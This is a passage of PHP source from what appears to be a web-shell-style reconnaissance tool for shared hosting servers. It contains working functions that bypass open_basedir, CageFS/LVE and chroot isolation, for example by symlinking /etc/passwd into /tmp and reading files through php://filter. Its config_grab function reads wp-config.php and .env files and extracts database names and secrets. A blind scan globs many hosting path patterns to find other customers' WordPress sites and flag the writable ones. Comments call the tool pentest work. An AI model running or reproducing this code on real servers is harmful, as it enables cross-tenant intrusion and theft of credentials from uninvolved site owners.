                foreach ($maps as $line) {
                    if (preg_match('/\s+(\/\S+)\s*$/', $line, $matches)) {
                        $path = $matches[1];
                        if (!in_array($path, $found_paths) && @is_file($path) && strpos($path, '/proc') === false) {
                            $found_paths[] = $path;
                            $discovered[] = array('method'=>'proc_maps', 'path'=>$path, 'line'=>substr($line, 0, 50) . '...');
                        }
                    }
                }
            }
        }
        
        // /proc/self/cwd and /proc/self/root
        $proc_self_links = array('/proc/self/cwd', '/proc/self/root', '/proc/self/exe');
        foreach ($proc_self_links as $link) {
            if (@is_link($link)) {
                $target = @readlink($link);
                if ($target && $target[0] === '/') {
                    $discovered[] = array('method'=>'proc_self_link', 'link'=>basename($link), 'target'=>$target, 'accessible'=>@is_dir($target) || @is_file($target));
                }
            }
        }
    }
    
    // 5. Environment variable attacks
    if (function_exists('getenv')) {
        $env_vars = array('HOME', 'USER', 'PATH', 'LD_LIBRARY_PATH', 'LD_PRELOAD', 'PWD', 'OLDPWD', 'TMPDIR');
        
        foreach ($env_vars as $var) {
            $val = getenv($var);
            if ($val && $val[0] === '/') {
                $paths = explode(':', $val);
                foreach ($paths as $p) {
                    if ($p && $p[0] === '/' && (@is_dir($p) || @is_file($p))) {
                        $discovered[] = array('method'=>'env_var', 'var'=>$var, 'path'=>$p, 'accessible'=>true);
                    }
                }
            }
        }
        
        // Scan all environment variables
        $all_env = $_SERVER;
        foreach ($all_env as $key => $val) {
            if (is_string($val) && preg_match_all('#(/[^\s:]+)#', $val, $matches)) {
                foreach ($matches[1] as $path) {
                    $path = rtrim($path, ';');
                    if (@is_dir($path) || @is_file($path)) {
                        $discovered[] = array('method'=>'env_scan', 'source'=>$key, 'path'=>$path);
                    }
                }
            }
        }
    }
    
    // 6. PHP include_path traversal
    $include_path = ini_get('include_path');
    if ($include_path) {
        $paths = explode(PATH_SEPARATOR, $include_path);
        foreach ($paths as $p) {
            if ($p && $p[0] === '/' && @is_dir($p)) {
                $discovered[] = array('method'=>'include_path', 'path'=>$p, 'accessible'=>true);
                
                $parent = dirname($p);
                $level = 0;
                while ($parent !== '/' && $parent !== $p && $level < 5) {
                    if (@is_dir($parent) && !in_array($parent, $ob_paths, true)) {
                        $discovered[] = array('method'=>'include_path_parent', 'original'=>$p, 'parent'=>$parent, 'level'=>$level);
                    }
                    $parent = dirname($parent);
                    $level++;
                }
            }
        }
    }
    
    // 7. Temporary directory attacks
    $tmp_dirs = array('/tmp', '/var/tmp', '/dev/shm', sys_get_temp_dir());
    foreach ($tmp_dirs as $tmp) {
        if (@is_dir($tmp) && @is_writable($tmp)) {
            $discovered[] = array('method'=>'tmp_access', 'path'=>$tmp, 'writable'=>true);
            
            $tmp_items = @scandir($tmp);
            if ($tmp_items) {
                $checked = 0;
                foreach ($tmp_items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    if (++$checked > 20) break;
                    
                    $full = $tmp . '/' . $item;
                    if (@is_link($full)) {
                        $target = @readlink($full);
                        if ($target && $target[0] === '/') {
                            $outside = true;
                            foreach ($ob_paths as $ob) {
                                if (strpos($target, $ob) === 0) { $outside = false; break; }
                            }
                            
                            if ($outside && (@is_file($target) || @is_dir($target))) {
                                $discovered[] = array('method'=>'tmp_symlink', 'symlink'=>$full, 'target'=>$target, 'outside_ob'=>$outside);
                            }
                        }
                    }
                }
            }
        }
    }
    
    // 8-15: Additional advanced techniques
    // 8. PHP SPL DirectoryIterator
    if (class_exists('DirectoryIterator')) {
        try {
            $di = new DirectoryIterator('../');
            $found = array();
            foreach ($di as $file) {
                if (!$file->isDot() && $file->isDir()) {
                    $found[] = $file->getPathname();
                }
            }
            if (!empty($found)) {
                $discovered[] = array('method'=>'spl_directory_iterator', 'found'=>$found, 'from'=>'../');
            }
        } catch (Exception $e) {}
    }
    
    // 9-15. Null bytes, path truncation, stream contexts, php filters
    foreach ($test_paths as $test) {
        // Null byte injection (old PHP)
        $null_test = $test . "\0";
        if (@file_exists($null_test)) {
            $discovered[] = array('method'=>'null_byte_injection', 'path'=>$test, 'via'=>$null_test, 'accessible'=>true);
        }
    }
    
    // PHP filter wrapper
    if (in_array('php', stream_get_wrappers())) {
        foreach ($test_paths as $test) {
            $filter_url = 'php://filter/convert.base64-encode/resource=' . $test;
            $content = @file_get_contents($filter_url);
            if ($content !== false && !empty($content)) {
                $discovered[] = array('method'=>'php_filter_wrapper', 'path'=>$test, 'readable'=>true, 'encoded'=>true);
            }
        }
    }
    
    // Remove duplicates
    $unique = array();
    foreach ($discovered as $item) {
        $key = $item['method'] . '|' . (isset($item['path']) ? $item['path'] : '');
        if (!isset($unique[$key])) {
            $unique[$key] = $item;
        }
    }
    
    return array_values($unique);
}

/**
 * Test if a path is outside open_basedir restrictions
 */
function is_outside_open_basedir($path) {
    $ob_paths = parse_open_basedir_paths();
    
    if (empty($ob_paths)) {
        return true; // No restrictions
    }
    
    $real_path = @realpath($path);
    if (!$real_path) {
        $real_path = $path;
    }
    
    foreach ($ob_paths as $ob) {
        $ob = rtrim($ob, '/') . '/';
        if (strpos($real_path . '/', $ob) === 0) {
            return false; // Inside open_basedir
        }
    }
    
    return true; // Outside all open_basedir paths
}

/**
 * Attempt to write a test file outside open_basedir
 */
function test_open_basedir_write_bypass() {
    $test_locations = array(
        '/tmp/_ob_test_' . uniqid(),
        '/var/tmp/_ob_test_' . uniqid(),
        sys_get_temp_dir() . '/_ob_test_' . uniqid()
    );
    
    $results = array();
    foreach ($test_locations as $location) {
        if (is_outside_open_basedir($location)) {
            $content = 'Open_basedir bypass test ' . date('c');
            $written = @file_put_contents($location, $content);
            
            if ($written !== false) {
                $readable = @is_readable($location);
                $deleted = @unlink($location);
                
                $results[] = array(
                    'location' => $location,
                    'writable' => true,
                    'readable' => $readable,
                    'deletable' => $deleted,
                    'outside_ob' => true
                );
            }
        }
    }
    
    return $results;
}

/**
 * Обход ограничений CageFS/LVE через специфичные техники.
 * Критично для пентеста: показывает уязвимости в изоляции CageFS/LVE.
 */
function bypass_cagefs_lve(){
    $discovered = array();
    
    // 1. Проверка наличия CageFS через /proc/self/mounts
    if (@is_readable('/proc/self/mounts')) {
        $mounts = @file_get_contents('/proc/self/mounts');
        if ($mounts) {
            if (strpos($mounts, 'cagefs') !== false || strpos($mounts, 'CageFS') !== false) {
                $discovered[] = array('method'=>'mounts_detection', 'type'=>'CageFS', 'detected'=>true);
            }
            if (strpos($mounts, 'lve') !== false || strpos($mounts, 'LVE') !== false) {
                $discovered[] = array('method'=>'mounts_detection', 'type'=>'LVE', 'detected'=>true);
            }
        }
    }
    
    // 2. Обход через /proc/self/maps (может показать реальные пути файлов)
    if (@is_readable('/proc/self/maps')) {
        $maps = @file('/proc/self/maps', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
        if ($maps) {
            foreach ($maps as $line) {
                if (preg_match('#(/[^\s]+)#', $line, $m)) {
                    $path = $m[1];
                    if (@is_file($path) || @is_dir($path)) {
                        $discovered[] = array('method'=>'proc_maps', 'path'=>$path);
                    }
                }
            }
        }
    }
    
    // 3. Обход через /proc/self/exe и /proc/self/cwd
    $proc_links = array('/proc/self/exe', '/proc/self/cwd', '/proc/self/root');
    foreach ($proc_links as $link) {
        if (@is_link($link)) {
            $target = @readlink($link);
            if ($target && $target[0] === '/') {
                $discovered[] = array('method'=>'proc_self_link', 'link'=>$link, 'target'=>$target);
            }
        }
    }
    
    // 4. Обход через переменные окружения процесса
    if (function_exists('getenv')) {
        $env_vars = array('HOME', 'USER', 'PATH', 'LD_LIBRARY_PATH', 'LD_PRELOAD');
        foreach ($env_vars as $var) {
            $val = getenv($var);
            if ($val && $val[0] === '/' && @is_dir($val)) {
                $discovered[] = array('method'=>'env_var', 'var'=>$var, 'path'=>$val);
            }
        }
    }
    
    // 5. Обход через /proc/self/status (может содержать информацию о chroot)
    if (@is_readable('/proc/self/status')) {
        $status = @file_get_contents('/proc/self/status');
        if ($status && preg_match('/NSpid:\s*(\d+)/', $status, $m)) {
            $discovered[] = array('method'=>'proc_status', 'info'=>'NSpid found', 'pid'=>$m[1]);
        }
    }
    
    // 6. Обход через /proc/self/ns/ (namespace information)
    if (@is_dir('/proc/self/ns')) {
        $ns = @scandir('/proc/self/ns');
        if ($ns) {
            foreach ($ns as $n) {
                if ($n === '.' || $n === '..') continue;
                $ns_path = '/proc/self/ns/' . $n;
                if (@is_link($ns_path)) {
                    $target = @readlink($ns_path);
                    $discovered[] = array('method'=>'proc_ns', 'namespace'=>$n, 'target'=>$target);
                }
            }
        }
    }
    
    // 7. Обход через /tmp и /var/tmp (часто доступны в CageFS)
    $tmp_dirs = array('/tmp', '/var/tmp', '/dev/shm');
    foreach ($tmp_dirs as $tmp) {
        if (@is_dir($tmp) && @is_writable($tmp)) {
            $discovered[] = array('method'=>'tmp_access', 'path'=>$tmp, 'writable'=>true);
            // Попытка создать симлинк на реальный путь
            $test_link = $tmp . '/_test_bypass_' . uniqid();
            if (@symlink('/etc/passwd', $test_link)) {
                $real = @readlink($test_link);
                if ($real) {
                    $discovered[] = array('method'=>'tmp_symlink', 'path'=>$real, 'via'=>$test_link);
                }
                @unlink($test_link);
            }
        }
    }
    
    // 8. Обход через PHP extensions (некоторые расширения могут обходить ограничения)
    $extensions = get_loaded_extensions();
    foreach ($extensions as $ext) {
        if (in_array($ext, array('imagick', 'gd', 'exif', 'fileinfo'))) {
            $discovered[] = array('method'=>'php_extension', 'extension'=>$ext, 'loaded'=>true);
        }
    }
    
    return $discovered;
}

/**
 * Обход ограничений chroot через различные техники.
 * Критично для пентеста: показывает возможности обхода chroot jail.
 */
function bypass_chroot(){
    $discovered = array();
    
    // 1. Определение chroot через /proc/self/root
    if (@is_link('/proc/self/root')) {
        $root = @readlink('/proc/self/root');
        if ($root && $root !== '/') {
            $discovered[] = array('method'=>'proc_root', 'chroot_path'=>$root, 'in_chroot'=>true);
        }
    }
    
    // 2. Обход через /proc/self/mountinfo (может показать реальные пути)
    if (@is_readable('/proc/self/mountinfo')) {
        $mountinfo = @file('/proc/self/mountinfo', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
        if ($mountinfo) {
            foreach ($mountinfo as $line) {
                if (preg_match('#(/[^\s]+)#', $line, $m)) {
                    $path = $m[1];
                    if (@is_dir($path) && strpos($path, '/proc') === false) {
                        $discovered[] = array('method'=>'mountinfo', 'path'=>$path);
                    }
                }
            }
        }
    }
    
    // 3. Обход через относительные пути из /proc
    $proc_paths = array('/proc/1/root', '/proc/2/root', '/proc/sys');
    foreach ($proc_paths as $proc_path) {
        if (@is_link($proc_path)) {
            $target = @readlink($proc_path);
            if ($target && $target[0] === '/' && @is_dir($target)) {
                $discovered[] = array('method'=>'proc_relative', 'path'=>$target, 'via'=>$proc_path);
            }
        }
    }
    
    // 4. Обход через /proc/self/cwd и переход в родительские директории
    $cwd = getcwd();
    if ($cwd) {
        $parts = explode('/', trim($cwd, '/'));
        for ($i = count($parts); $i >= 0; $i--) {
            $test = '/' . implode('/', array_slice($parts, 0, $i));
            if ($test === '/') break;
            if (@is_dir($test) && @is_readable($test)) {
                $discovered[] = array('method'=>'cwd_parent', 'path'=>$test);
            }
        }
    }
    
    // 5. Обход через file:// wrapper с абсолютными путями
    $test_files = array('/etc/passwd', '/etc/hosts', '/etc/resolv.conf');
    foreach ($test_files as $file) {
        $wrapped = 'file://' . $file;
        if (@file_exists($wrapped) || @is_readable($wrapped)) {
            $discovered[] = array('method'=>'file_wrapper', 'path'=>$file, 'accessible'=>true);
        }
    }
    
    // 6. Обход через realpath() с различными путями
    $test_dirs = array('/tmp', '/var', '/usr', '/opt', '/home');
    foreach ($test_dirs as $dir) {
        $real = @realpath($dir);
        if ($real && $real !== $dir) {
            $discovered[] = array('method'=>'realpath', 'original'=>$dir, 'real'=>$real);
        }
    }
    
    return $discovered;
}

/**
 * Комплексный обход всех ограничений для пентеста.
 * Объединяет все техники обхода open_basedir, CageFS/LVE и chroot.
 */
function bypass_all_restrictions($target_path = null){
    $results = array(
        'open_basedir' => bypass_open_basedir($target_path),
        'cagefs_lve' => bypass_cagefs_lve(),
        'chroot' => bypass_chroot(),
        'neighbors' => bypass_discover_neighbors()
    );
    
    // Объединяем все обнаруженные пути
    $all_paths = array();
    foreach ($results as $type => $items) {
        foreach ($items as $item) {
            if (isset($item['path']) && @is_dir($item['path'])) {
                $all_paths[] = $item['path'];
            }
        }
    }
    $results['all_paths'] = array_values(array_unique($all_paths));
    
    return $results;
}

/**
 * Config Grab - поиск конфигурационных файлов для обнаружения путей и настроек.
 * Критично для пентеста: раскрывает структуру сервера через конфиги.
 */
function config_grab($base_path = null){
    $found = array();
    $config_files = array(
        'wp-config.php', '.env', 'config.php', 'configuration.php', 'config.inc.php',
        'wp-config-sample.php', '.htaccess', 'robots.txt', 'web.config',
        'php.ini', '.user.ini', 'composer.json', 'composer.lock',
        'package.json', 'yarn.lock', '.git/config', '.svn/entries'
    );
    
    $search_paths = array();
    if ($base_path) {
        $search_paths[] = $base_path;
    } else {
        // Поиск в текущей директории и родительских
        $cwd = getcwd();
        if ($cwd) {
            $search_paths[] = $cwd;
            $parts = explode('/', trim($cwd, '/'));
            for ($i = count($parts); $i > 0; $i--) {
                $test = '/' . implode('/', array_slice($parts, 0, $i));
                if ($test !== '/') $search_paths[] = $test;
            }
        }
        // Также ищем в open_basedir путях
        $ob_paths = parse_open_basedir_paths();
        foreach ($ob_paths as $ob) {
            if (!in_array($ob, $search_paths, true)) $search_paths[] = $ob;
        }
    }
    
    foreach ($search_paths as $path) {
        if (!@is_dir($path)) continue;
        foreach ($config_files as $config) {
            $full = rtrim($path, '/') . '/' . $config;
            if (@is_file($full) && @is_readable($full)) {
                $content = @file_get_contents($full);
                $info = array(
                    'path' => $full,
                    'size' => @filesize($full),
                    'readable' => true,
                    'type' => $config
                );
                
                // Извлекаем полезную информацию из конфигов
                if ($config === 'wp-config.php' && $content) {
                    $extracted = array();
                    if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
                        $extracted['db_name'] = $m[1];
                    }
                    if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
                        $extracted['db_user'] = $m[1];
                    }
                    if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
                        $extracted['wp_home'] = $m[1];
                    }
                    if (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
                        $extracted['wp_siteurl'] = $m[1];
                    }
                    if (!empty($extracted)) $info['extracted'] = $extracted;
                }
                
                if ($config === '.env' && $content) {
                    $extracted = array();
                    if (preg_match_all('/^([A-Z_]+)=(.+)$/m', $content, $matches, PREG_SET_ORDER)) {
                        foreach ($matches as $match) {
                            $extracted[$match[1]] = trim($match[2], '"\'');
                        }
                    }
                    if (!empty($extracted)) $info['extracted'] = $extracted;
                }
                
                $found[] = $info;
            }
        }
    }
    
    return $found;
}

/**
 * Symlink Grab - поиск симлинков и следование по ним для обнаружения путей.
 * Критично для пентеста: симлинки часто указывают на реальные пути вне ограничений.
 */
function symlink_grab($base_path = null, $max_depth = 5){
    $found = array();
    $seen = array();
    
    $search_paths = array();
    if ($base_path) {
        $search_paths[] = $base_path;
    } else {
        $cwd = getcwd();
        if ($cwd) $search_paths[] = $cwd;
        $ob_paths = parse_open_basedir_paths();
        foreach ($ob_paths as $ob) {
            if (!in_array($ob, $search_paths, true)) $search_paths[] = $ob;
        }
        // Также проверяем известные пути
        $known_paths = array('/tmp', '/var/tmp', '/home', '/var/www', '/srv');
        foreach ($known_paths as $kp) {
            if (@is_dir($kp) && !in_array($kp, $search_paths, true)) {
                $search_paths[] = $kp;
            }
        }
    }
    
    $queue = array();
    foreach ($search_paths as $path) {
        $queue[] = array($path, 0);
    }
    
    while (!empty($queue)) {
        list($current, $depth) = array_shift($queue);
        if ($depth > $max_depth) continue;
        if (isset($seen[$current])) continue;
        $seen[$current] = true;
        
        if (!@is_dir($current) && !@is_link($current)) continue;
        
        // Проверяем саму директорию на симлинк
        if (@is_link($current)) {
            $target = @readlink($current);
            if ($target) {
                $real = @realpath($current);
                $found[] = array(
                    'symlink' => $current,
                    'target' => $target,
                    'realpath' => $real ? $real : $current,
                    'depth' => $depth
                );
                // Добавляем цель в очередь для дальнейшего поиска
                if ($real && @is_dir($real) && !isset($seen[$real])) {
                    $queue[] = array($real, $depth + 1);
                }
            }
        }
        
        // Сканируем содержимое директории
        $items = @scandir($current);
        if (!$items) continue;
        
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $full = rtrim($current, '/') . '/' . $item;
            
            if (@is_link($full)) {
                $target = @readlink($full);
                if ($target) {
                    $real = @realpath($full);
                    $found[] = array(
                        'symlink' => $full,
                        'target' => $target,
                        'realpath' => $real ? $real : $full,
                        'depth' => $depth
                    );
                    // Если цель - директория, добавляем в очередь
                    if ($real && @is_dir($real) && !isset($seen[$real])) {
                        $queue[] = array($real, $depth + 1);
                    }
                }
            } elseif (@is_dir($full) && $depth < $max_depth) {
                // Рекурсивно ищем в поддиректориях
                if (!isset($seen[$full])) {
                    $queue[] = array($full, $depth + 1);
                }
            }
        }
    }
    
    return $found;
}

function blind_wp_globs(){
    $user_gl_pl = function_exists('home_user_blind_globs_pl') ? home_user_blind_globs_pl() : array();
    $user_globs = home_user_blind_globs();
    $base = array(
        '/home/*/domains/*/public_html', '/home/*/domains/*/httpdocs', '/home/*/domains/*/httpsdocs', '/home/*/domains/*/web', '/home/*/domains/*/htdocs',
        '/home/*/public_html/*', '/home/*/htdocs/*', '/home/*/www/*', '/home/*/*/public_html',
        '/var/www/vhosts/*/httpdocs', '/var/www/vhosts/*/httpsdocs', '/var/www/vhosts/*/public_html', '/var/www/vhosts/*/site', '/var/www/vhosts/*/web',
        '/var/www/*/data/www/*/public_html', '/var/www/*/data/www/*', '/var/www/*/data/*/public_html',
        '/srv/users/*/apps/*/public', '/srv/users/*/apps/*/public_html', '/home/*/webapps/*/public',
        '/home/master/applications/*/public_html',
        '/var/www/*/htdocs', '/var/www/*/public_html', '/var/www/*/html', '/var/www/*/web', '/var/www/html/*',
        '/www/wwwroot/*', '/www/wwwroot/*/public', '/www/wwwroot/*/public_html',
        '/opt/bitnami/apps/wordpress/htdocs', '/opt/bitnami/wordpress/htdocs', '/opt/bitnami/*/htdocs',
        '/nas/content/*/*', '/nas/content/live/*', '/nas/content/staging/*',
        '/homepages/*/d*/htdocs/*', '/homepages/*/d*/htdocs/clickandbuilds/*',
        '/kunden/homepages/*/d*/htdocs', '/kunden/homepages/*/d*/htdocs/clickandbuilds/*',
        '/srv/bindings/*/code',
    // EU add-ons
    '/home/*/www', '/homez*/*/www', '/srv/data/web/vhosts/*/htdocs', '/home/clients/*/web/*', '/customers/*/*/*/*/httpd.www', '/web/htdocs/*/home',
    // Additional bypass paths (v4.4.1)
    '/var/www/html/*/*', '/usr/local/www/*/*', '/opt/www/*/*',
    '/home/*/sites/*/*', '/home/*/webapps/*/*', '/home/*/apps/*/*',
    '/data/www/*/*', '/data/web/*/*', '/data/sites/*/*',
    '/srv/http/*/*', '/srv/www/*/*', '/srv/web/*/*',
    '/var/www/users/*/*', '/var/www/customers/*/*',
    '/usr/share/nginx/*/*', '/usr/local/nginx/*/*',
    '/home/*/projects/*/*', '/home/*/repositories/*/*',
    '/mnt/www/*/*', '/mnt/web/*/*', '/mnt/sites/*/*',
    '/opt/lampp/htdocs/*', '/opt/xampp/htdocs/*',
    '/var/customers/*/*', '/var/sites/*/*',
    '/hosting/*/*', '/websites/*/*', '/sites/*/*',
    // Расширенные паттерны для PL-структур (serwer*/autoinstalator/wordpressNNNN)
    '/home/platne/serwer*/public_html',
    '/home/platne/serwer*/public_html/*',
    '/home/platne/serwer*/public_html/autoinstalator',
    '/home/platne/serwer*/public_html/autoinstalator/*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/*/serwer*/public_html',
    '/home/*/serwer*/public_html/*',
    '/home/*/serwer*/public_html/autoinstalator',
    '/home/*/serwer*/public_html/autoinstalator/*',
    '/home/*/serwer*/public_html/autoinstalator/*/wordpress*'
);
    if (!empty($user_globs)) { $base = array_merge($user_globs, $base); }
    if (!empty($user_gl_pl)) { $base = array_merge($user_gl_pl, $base); }
    return $base;
}
function derive_domain_from_path($p){
    $urls = wp_known_urls($p);
    foreach($urls as $u){
        if (preg_match('#https?://([^/]+)/?#i',$u,$m)) return normalize_domain($m[1]);
    }
    $seg = explode('/', trim($p,'/'));
    $n = count($seg);
    for($i=0;$i<$n;$i++){
        if (is_valid_domain($seg[$i])) return $seg[$i];
    }
    return '(unknown)';
}
function blind_scan($opts){
    $ob_roots = parse_open_basedir_paths();
    $ids = php_ids();
    $me = is_array($ids)&&!empty($ids['user']) ? $ids['user'] : null;
    $home_me = $me ? ('/home/'.$me) : null;

    $wp_only       = isset($opts['wp_only']) ? (bool)$opts['wp_only'] : true;
    $writable_only = isset($opts['writable_only']) ? (bool)$opts['writable_only'] : false;
    $docroots_deep = !empty($opts['docroots_deep']);
    $cap_dirs      = isset($opts['blind_cap']) ? max(100,(int)$opts['blind_cap']) : 8000;

    $user_gl = function_exists('home_user_blind_globs') ? home_user_blind_globs() : array();
    $globs = array_merge($user_gl, blind_wp_globs());
    $seen = array(); $paths = array();
    foreach ($globs as $g){
        $list = glob($g); if(!$list)$list=array();
        foreach ($list as $dir){
            if (!is_dir($dir)) continue;
            $dir = rtrim(realpath($dir)?realpath($dir):$dir,'/');
            if (isset($seen[$dir])) continue;
            $seen[$dir]=1; $paths[]=$dir;
            if (count($paths)>=$cap_dirs) break 2;
        }
    }
    // Глубокий краул в пределах open_basedir и домашнего каталога текущего юзера.
    // Это критично для LVE/CageFS, где /home/* недоступно для перечисления.
    // Blind WP Hunt с семенами из пути скрипта (автоматически подхватывает соседей)
    $crawl_roots = array();
    if (!empty($home_me) && @is_dir($home_me)) $crawl_roots[] = $home_me;
    foreach ($ob_roots as $r) {
        if ($r==='/tmp' || $r==='/var/tmp' || $r==='/dev' || $r==='/proc') continue;
        if (@is_dir($r) && !in_array($r, $crawl_roots, true)) $crawl_roots[] = $r;
    }
    if (!empty($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) $crawl_roots[] = rtrim($_SERVER['DOCUMENT_ROOT'],'/');
    $cwd__ = getcwd(); if ($cwd__ && @is_dir($cwd__)) $crawl_roots[] = rtrim($cwd__,'/');
    
    // Семена из пути скрипта - автоматически подхватываем соседей в public_html и autoinstalator
    $script_path = __DIR__;
    $script_real = @realpath($script_path) ? @realpath($script_path) : $script_path;
    if ($script_real && @is_dir($script_real)) {
        // Добавляем директорию скрипта
        if (!in_array($script_real, $crawl_roots, true)) $crawl_roots[] = rtrim($script_real,'/');
        
        // Ищем родительские директории с public_html и autoinstalator
        $parts = explode('/', trim($script_real, '/'));
        for ($i = count($parts); $i > 0; $i--) {
            $test = '/' . implode('/', array_slice($parts, 0, $i));
            if ($test === '/') break;
            
            // Проверяем public_html
            $pub_html = $test . '/public_html';
            if (@is_dir($pub_html) && !in_array($pub_html, $crawl_roots, true)) {
                $crawl_roots[] = rtrim($pub_html,'/');
            }
            
            // Проверяем autoinstalator
            $autoinst = $test . '/autoinstalator';
            if (@is_dir($autoinst) && !in_array($autoinst, $crawl_roots, true)) {
                $crawl_roots[] = rtrim($autoinst,'/');
            }
            
            // Если нашли public_html, проверяем autoinstalator внутри него
            if (@is_dir($pub_html)) {
                $autoinst_in_pub = $pub_html . '/autoinstalator';
                if (@is_dir($autoinst_in_pub) && !in_array($autoinst_in_pub, $crawl_roots, true)) {
                    $crawl_roots[] = rtrim($autoinst_in_pub,'/');
                }
            }
        }
    }

    $max_depth = !empty($opts['docroots_deep']) ? 8 : 6;
    $wp_hits = crawl_for_wp($crawl_roots, $cap_dirs, $max_depth);
    foreach ($wp_hits as $hit) { $paths[] = $hit; }
    $paths = array_values(array_unique($paths));

    // Bypass системных ограничений - обнаружение соседних сайтов (критично для security audit)
    $bypass_isolation = isset($opts['bypass_isolation']) ? (bool)$opts['bypass_isolation'] : true;
    $bypass_extended = isset($opts['bypass_extended']) ? (bool)$opts['bypass_extended'] : false;
    $bypass_info = array();
    
    if ($bypass_isolation) {
        $neighbors = bypass_discover_neighbors();
        if (!empty($neighbors)) {
            foreach ($neighbors as $npath) {
                // Краул каждого обнаруженного соседа
                $neighbor_hits = crawl_for_wp(array($npath), (int)($cap_dirs/2), $max_depth);
                foreach ($neighbor_hits as $hit) { 
                    if (!isset($seen[$hit])) { $paths[] = $hit; $seen[$hit]=1; }
                }
            }
            $paths = array_values(array_unique($paths));
        }
        $bypass_info['neighbors'] = $neighbors;
    }
    
    // Расширенный bypass для пентеста (open_basedir, CageFS/LVE, chroot)
    if ($bypass_extended) {
        $bypass_results = bypass_all_restrictions();
        $bypass_info['extended'] = $bypass_results;
        
        // Добавляем обнаруженные пути из bypass
        if (!empty($bypass_results['all_paths'])) {
            foreach ($bypass_results['all_paths'] as $bpath) {
                if (!isset($seen[$bpath])) {
                    $paths[] = $bpath;
                    $seen[$bpath] = 1;
                }
            }
            $paths = array_values(array_unique($paths));
        }
    }
    
    // Config Grab и Symlink Grab для обнаружения дополнительных путей
    $use_config_grab = isset($opts['config_grab']) ? (bool)$opts['config_grab'] : false;
    $use_symlink_grab = isset($opts['symlink_grab']) ? (bool)$opts['symlink_grab'] : false;
    
    if ($use_config_grab) {
        $configs = config_grab();
        $bypass_info['config_grab'] = $configs;
        // Извлекаем пути из найденных конфигов
        foreach ($configs as $cfg) {
            if (isset($cfg['path'])) {
                $cfg_dir = dirname($cfg['path']);
                if (@is_dir($cfg_dir) && !isset($seen[$cfg_dir])) {
                    $paths[] = $cfg_dir;
                    $seen[$cfg_dir] = 1;
                }
            }
        }
    }
    
    if ($use_symlink_grab) {
        $symlinks = symlink_grab(null, 5);
        $bypass_info['symlink_grab'] = $symlinks;
        // Добавляем реальные пути из симлинков
        foreach ($symlinks as $sl) {
            if (isset($sl['realpath']) && @is_dir($sl['realpath']) && !isset($seen[$sl['realpath']])) {
                $paths[] = $sl['realpath'];
                $seen[$sl['realpath']] = 1;
            }
        }
    }
    
    $paths = array_values(array_unique($paths));

    $targets = array();
    foreach ($paths as $base){
        $cands = array($base, $base.'/public', $base.'/public_html', $base.'/httpdocs', $base.'/htdocs', $base.'/web', $base.'/wordpress');
        // Поиск wordpressNNNN (wordpress4923, wordpress1234 и т.д.)
        $wp_patterns = glob($base.'/wordpress[0-9]*'); if(!$wp_patterns)$wp_patterns=array();
        foreach ($wp_patterns as $wp_dir) $cands[]=$wp_dir;
        // Поиск в autoinstalator структурах
        if (strpos($base, 'autoinstalator') !== false) {
            $autoinst_wp = glob($base.'/wordpress*'); if(!$autoinst_wp)$autoinst_wp=array();
            foreach ($autoinst_wp as $awp) $cands[]=$awp;
        }
        $cb = glob($base.'/clickandbuilds/*'); if(!$cb)$cb=array();
        foreach ($cb as $sub) $cands[]=$sub;
        foreach ($cands as $p){
            $p=rtrim($p,'/');
            if (!is_dir($p)) continue;
            if ($wp_only && !is_wp_root($p)) continue;
            if ($writable_only && !is_writable($p)) continue;
            $targets[$p]=1;
        }
    }
    $targets = array_keys($targets);
    sort($targets);

    $by_domain = array();
    foreach ($targets as $p){
        $dom = derive_domain_from_path($p);
        if (!isset($by_domain[$dom])) $by_domain[$dom]=array();
        $is_wp=is_wp_root($p); $wp_ver=$is_wp?wp_version($p):''; $ms=$is_wp?wp_multisite_flags($p):array('multisite'=>false,'subdomain'=>false); $urls=$is_wp?wp_known_urls($p):array(); $hidden=probe_hidden_backup_dirs($p); $ht=htaccess_checks($p); $meta=fs_meta($p); $acc=access_info($p);
        
        // Расширенный анализ безопасности
        $security = $is_wp ? security_flags_analysis($p) : array('boundary_info'=>boundary_info_for($p));
        
        $by_domain[$dom][] = array(
            'path'=>$p,
            'source'=>'blind',
            'flags'=>array_merge(array('is_wp'=>$is_wp,'is_writable'=>is_writable($p),'is_symlink'=>is_link($p)),$ms),
            'wp'=>array('version'=>$wp_ver,'urls'=>$urls),
            'hidden'=>$hidden,
            'htaccess'=>$ht,
            'fs'=>array_merge($meta,$acc),
            'boundary'=>boundary_info_for($p),
            'security'=>$security
        );
    }
    $domains=array(); $paths_total=0; $w_total=0; $wp_total=0;
    foreach ($by_domain as $dom=>$list){
        foreach($list as $pi){ $paths_total++; if(!empty($pi['flags']['is_writable']))$w_total++; if(!empty($pi['flags']['is_wp']))$wp_total++; }
        $domains[] = array('domain'=>$dom, 'paths'=>$list);
    }
    // Расширенный детект пользователей (опасно для безопасности - показывает всех пользователей)
    $detect_users = isset($opts['detect_users']) ? (bool)$opts['detect_users'] : false;
    $users_info = null;
    if ($detect_users) {
        $users_info = detect_users_extended(2000);
    }
    
    $result = array(
        'php'=>php_env_info(),
        'domains'=>$domains,
        'totals'=>array('domains'=>count($domains),'paths'=>$paths_total,'writable_paths'=>$w_total,'wp_roots'=>$wp_total),
        'time'=>date('c'),
        'scan_opts'=>$opts + array('mode'=>'blind')
    );
    
    // Добавляем информацию о bypass если была использована
    if (!empty($bypass_info)) {
        $result['bypass'] = $bypass_info;
    }
    
    // Добавляем информацию о пользователях (опасно!)
    if ($users_info) {
        $result['users_detected'] = $users_info;
    }
    
    return $result;
}

function php_env_info(){
    $ids=php_ids();
    $info=array(
        'runtime_version'=>PHP_VERSION,
        'sapi'=>PHP_SAPI,
        'open_basedir'=>ini_get('open_basedir')?ini_get('open_basedir'):'',
